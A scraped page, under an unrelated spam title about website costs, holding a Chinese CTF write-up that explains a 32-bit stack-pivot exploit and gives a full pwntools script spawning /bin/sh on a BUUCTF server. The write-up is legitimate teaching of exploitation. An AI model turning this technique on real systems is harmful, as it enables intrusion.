当前位置: 首页 > news >正文

做一个小网站需要多少钱wordpress 初始化 数据库连接

做一个小网站需要多少钱,wordpress 初始化 数据库连接,wordpress使用新浪图床,做PS的赚钱的网站1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数: 看看vul函数: 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造 所以使用栈迁移: 栈迁移需要用到leave ret 使用ROPgadget找地址: …

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()

运行 得到flag:

http://www.yayakq.cn/news/274626/

相关文章:

  • 沧州哪家做网站好河北网站开发多少钱
  • 全网网站建设优化智能建站代理
  • 拿p5.js做的网站wordpress分类模版
  • 做网站营销公司有哪些一般的手机网站建设多少钱
  • 做外贸搜索外国客户的网站手机网站制作公司报价单
  • 沈阳做网站制作的公司厦门市市政集团官网
  • 上海软件定制开发济南公司网站推广优化最大的
  • 怎样查看网站服务商php html5企业网站源码
  • 网站的建设心得湖南专业做网站企业
  • 做网站链接还要服务器吗买深圳优化公司样高粱seo
  • wordpress 多网站吗网站设计师是什么部门
  • 科技网站设计案例苏州建网站公司选苏州聚尚网络
  • 济南网站建设优化百家号阜阳 做网站
  • h5跟传统网站有啥区别wordpress注册邮件接收不到邮件
  • 滨江建设工程网站哪个网站可以做分销
  • 用thinkcmf做的网站wordpress评论去除
  • 网站建设设计师的工作内容手机网页制作作品
  • 长沙的企业网站建设盘石做的网站
  • 江西东乡网站建设福州网站制作托管维护
  • 深圳 福田网站建设暴雪被收购
  • 奉化网站建设济南做网站要多少钱
  • eclipse 网站开发源码如何上传ftp网站程序
  • 智联招聘网站多少钱做的网站建设怎样做好
  • 网站建设 荆州资兴市网站建设服务商
  • 网站的基础建设网站开发费用摊销年限
  • 温州网站建设及推广昆明网络营销公司哪家比较好
  • 定制做网站平台公司网站地址
  • 网站开发专业大学做彩票游戏网站违法吗
  • 商丘柘城做网站排名前50名免费的网站
  • 陵水网站建设咨询如何申请网站域名流程